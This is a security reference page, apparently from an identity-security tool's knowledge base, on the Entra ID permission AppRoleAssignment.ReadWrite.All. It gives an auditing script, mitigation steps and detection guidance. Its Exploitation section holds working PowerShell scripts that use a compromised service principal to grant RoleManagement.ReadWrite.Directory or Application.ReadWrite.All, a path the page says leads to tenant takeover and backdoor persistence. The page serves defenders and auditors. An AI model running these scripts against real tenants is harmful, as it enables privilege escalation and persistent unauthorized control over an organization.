AZ_MG_APPROLEASSIGNMENT_READWRITE_ALL
Summary
| Forestall ACL Alias | AZ_MG_APPROLEASSIGNMENT_READWRITE_ALL |
| Entra ID (Azure AD) Alias | AppRoleAssignment.ReadWrite.All |
| Affected Object Types | Service Principals, Applications |
| Exploitation Certainty | Certain |
| Graph Permission / Role | Application Permission: AppRoleAssignment.ReadWrite.All |
Description
AZ_MG_APPROLEASSIGNMENT_READWRITE_ALL represents a Microsoft Graph application permission that grants read and write access to application role assignments in Microsoft Entra ID (Azure AD). This is one of the most dangerous permissions because it allows:
- Grant application permissions to any service principal for any API (including Microsoft Graph)
- Remove application permissions from any service principal
- Assign app roles to users, groups, and service principals for any application
- Manage consent grants for application permissions across the tenant
This permission is often abused for:
- Privilege escalation: Granting dangerous permissions like
RoleManagement.ReadWrite.DirectoryorApplication.ReadWrite.Allto an attacker-controlled service principal - Persistence: Creating service principals with high-privilege permissions that persist beyond user sessions
- Lateral movement: Granting permissions to access other APIs and applications in the tenant
- Defense evasion: Removing permissions from security monitoring applications
Important: This is an application permission that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.
Critical Warning: With AppRoleAssignment.ReadWrite.All, an application can grant itself or any other service principal any Microsoft Graph permission, including RoleManagement.ReadWrite.Directory (which can then assign Global Administrator). This creates a path to complete tenant takeover.
Key Difference from Application.ReadWrite.All: While Application.ReadWrite.All allows creating and modifying applications and service principals, AppRoleAssignment.ReadWrite.All specifically controls which permissions are granted to those applications. Both are dangerous, but AppRoleAssignment.ReadWrite.All is the key to granting dangerous permissions.
Identification
PowerShell
Find Service Principals with AppRoleAssignment.ReadWrite.All
Install-Module Microsoft.Graph -Scope CurrentUserImport-Module Microsoft.Graph.Applications
Connect-MgGraph -Scopes "Application.Read.All", "AppRoleAssignment.Read.All"
$permissionId = "06b708a9-e830-4db3-a914-8e69da51d44f" # AppRoleAssignment.ReadWrite.All GUID$graphAppId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph App ID
# Get Microsoft Graph service principal$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"if (-not $graphSp) { throw "Microsoft Graph service principal not found." }
# Get all app role assignments granted TO Microsoft Graph (much faster than iterating all SPs)$allAssignments = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $graphSp.Id -All
# Filter for AppRoleAssignment.ReadWrite.All$matchingAssignments = $allAssignments | Where-Object { $_.AppRoleId -eq $permissionId }
$results = $matchingAssignments | ForEach-Object { [PSCustomObject]@{ ServicePrincipalName = $_.PrincipalDisplayName ServicePrincipalId = $_.PrincipalId PermissionName = "AppRoleAssignment.ReadWrite.All" PermissionId = $permissionId ResourceId = $_.ResourceId AssignedDateTime = $_.CreatedDateTime }}
Write-Host "Found $($results.Count) service principals with AppRoleAssignment.ReadWrite.All"$results | Export-Csv -Path ".\AppRoleAssignmentReadWriteAll_ServicePrincipals.csv" -NoTypeInformation -Encoding UTF8$results | Format-Table -AutoSizeExploitation
An attacker with access to a service principal that has AppRoleAssignment.ReadWrite.All can grant any Microsoft Graph permission to any service principal, enabling privilege escalation.
Grant RoleManagement.ReadWrite.Directory to Attacker Service Principal
Import-Module Microsoft.Graph.Applications
# Authenticate as the compromised service principal$tenantId = "<tenant-id>"$appId = "<compromised-app-id>"$clientSecret = "<client-secret>"
$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)Connect-MgGraph -ClientSecretCredential $credential -TenantId $tenantId
# RoleManagement.ReadWrite.Directory permission ID$roleManagementPermissionId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
# Microsoft Graph App ID (constant)$graphAppId = "00000003-0000-0000-c000-000000000000"
# Target application display name$targetDisplayName = "<target-app-display-name>"
# Get target application object ID (App Registration) automatically$targetApp = Get-MgApplication -Filter "displayName eq '$targetDisplayName'"if (-not $targetApp) { throw "Application '$targetDisplayName' not found." }$targetAppId = $targetApp.Id
# Get target service principal object ID (Enterprise Application) automatically$targetSp = Get-MgServicePrincipal -Filter "displayName eq '$targetDisplayName'"if (-not $targetSp) { throw "Service principal '$targetDisplayName' not found." }$targetSpId = $targetSp.Id
# Get Microsoft Graph service principal object ID automatically$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"if (-not $graphSp) { throw "Microsoft Graph service principal not found." }$msgraphId = $graphSp.Id
Write-Output "Target App Registration: $targetAppId"Write-Output "Target Service Principal: $targetSpId"
# Step 1: Add permission to configured permissions (App Registration)$app = Get-MgApplication -ApplicationId $targetAppId$existingAccess = $app.RequiredResourceAccess | Where-Object { $_.ResourceAppId -eq $graphAppId }
if ($existingAccess) { # Add to existing Microsoft Graph permissions $newRole = @{ Id = $roleManagementPermissionId; Type = "Role" } $existingAccess.ResourceAccess += $newRole Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $app.RequiredResourceAccess} else { # Create new Microsoft Graph permission entry $newAccess = @{ ResourceAppId = $graphAppId ResourceAccess = @( @{ Id = $roleManagementPermissionId; Type = "Role" } ) } $allAccess = @($app.RequiredResourceAccess) + $newAccess Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $allAccess}Write-Output "Permission added to configured permissions"
# Step 2: Grant admin consent (App Role Assignment)$params = @{ PrincipalId = $targetSpId ResourceId = $msgraphId AppRoleId = $roleManagementPermissionId}
$assignment = New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId -BodyParameter $paramsWrite-Output "Admin consent granted: $($assignment.Id)"
Grant RoleManagement.ReadWrite.Directory with PowerShell
Grant Application.ReadWrite.All to Create Persistent Backdoor
# Application.ReadWrite.All permission ID$appReadWritePermissionId = "1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9"
# Microsoft Graph App ID (constant)$graphAppId = "00000003-0000-0000-c000-000000000000"
# Target application display name$targetDisplayName = "<target-app-display-name>"
# Get target application object ID (App Registration) automatically$targetApp = Get-MgApplication -Filter "displayName eq '$targetDisplayName'"if (-not $targetApp) { throw "Application '$targetDisplayName' not found." }$targetAppId = $targetApp.Id
# Get target service principal object ID (Enterprise Application) automatically$targetSp = Get-MgServicePrincipal -Filter "displayName eq '$targetDisplayName'"if (-not $targetSp) { throw "Service principal '$targetDisplayName' not found." }$targetSpId = $targetSp.Id
# Get Microsoft Graph service principal object ID automatically$graphSp = Get-MgServicePrincipal -Filter "appId eq '$graphAppId'"if (-not $graphSp) { throw "Microsoft Graph service principal not found." }$msgraphId = $graphSp.Id
Write-Output "Target App Registration: $targetAppId"Write-Output "Target Service Principal: $targetSpId"
# Step 1: Add permission to configured permissions (App Registration)$app = Get-MgApplication -ApplicationId $targetAppId$existingAccess = $app.RequiredResourceAccess | Where-Object { $_.ResourceAppId -eq $graphAppId }
if ($existingAccess) { # Add to existing Microsoft Graph permissions $newRole = @{ Id = $appReadWritePermissionId; Type = "Role" } $existingAccess.ResourceAccess += $newRole Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $app.RequiredResourceAccess} else { # Create new Microsoft Graph permission entry $newAccess = @{ ResourceAppId = $graphAppId ResourceAccess = @( @{ Id = $appReadWritePermissionId; Type = "Role" } ) } $allAccess = @($app.RequiredResourceAccess) + $newAccess Update-MgApplication -ApplicationId $targetAppId -RequiredResourceAccess $allAccess}Write-Output "Permission added to configured permissions"
# Step 2: Grant admin consent (App Role Assignment)$params = @{ PrincipalId = $targetSpId ResourceId = $msgraphId AppRoleId = $appReadWritePermissionId}
$assignment = New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $targetSpId -BodyParameter $paramsWrite-Output "Admin consent granted: $($assignment.Id)"
Grant Application.ReadWrite.All with PowerShell
Mitigation
-
Audit all service principals with
AppRoleAssignment.ReadWrite.Alland remove unnecessary grants.- Go to Microsoft Entra ID -> App registrations -> select the application -> API permissions.
- Remove the
AppRoleAssignment.ReadWrite.Allpermission if not required.
-
Apply least privilege: This permission should almost never be granted to applications.
- Use more specific permissions when possible.
- Use delegated permissions with user context when appropriate.
-
Monitor permission grant changes:
- Review Microsoft Entra audit logs for app role assignment changes.
- Configure Microsoft Defender for Cloud Apps to detect suspicious permission modifications.
-
Protect the permission grant process:
- Require multiple approvals for granting this permission.
- Document business justification for any application requiring this permission.
-
Implement Access Reviews for applications with high-privilege permissions:
- Go to Identity Governance -> Access Reviews -> New access review.
- Review applications with sensitive Graph permissions regularly.
-
Use Conditional Access to restrict service principal access:
- Limit the locations and conditions under which service principals can authenticate.
- Consider blocking service principals with this permission from non-trusted locations.
Detection
Use the Microsoft Entra admin center:
- Open Microsoft Entra ID -> Audit logs.
- Filter Activity for:
- Add app role assignment to service principal
- Remove app role assignment from service principal
- Add app role assignment grant to user
- Review Initiated by (actor), Target, Date, and Status for unexpected permission grants or removals.
- Open the affected Enterprise application and review Permissions, Users and groups, and Owners.
- Use Manage view -> Edit columns if any of those fields are hidden.
References
- Microsoft Graph Permissions Reference - AppRoleAssignment.ReadWrite.All
- Microsoft Graph API - Grant an appRoleAssignment
- Microsoft Graph API - List appRoleAssignments
- Securing workload identities with Microsoft Entra ID
- BloodHound - AZMGAppRoleAssignment_ReadWrite_All
- ROADtools - Azure AD Exploration Framework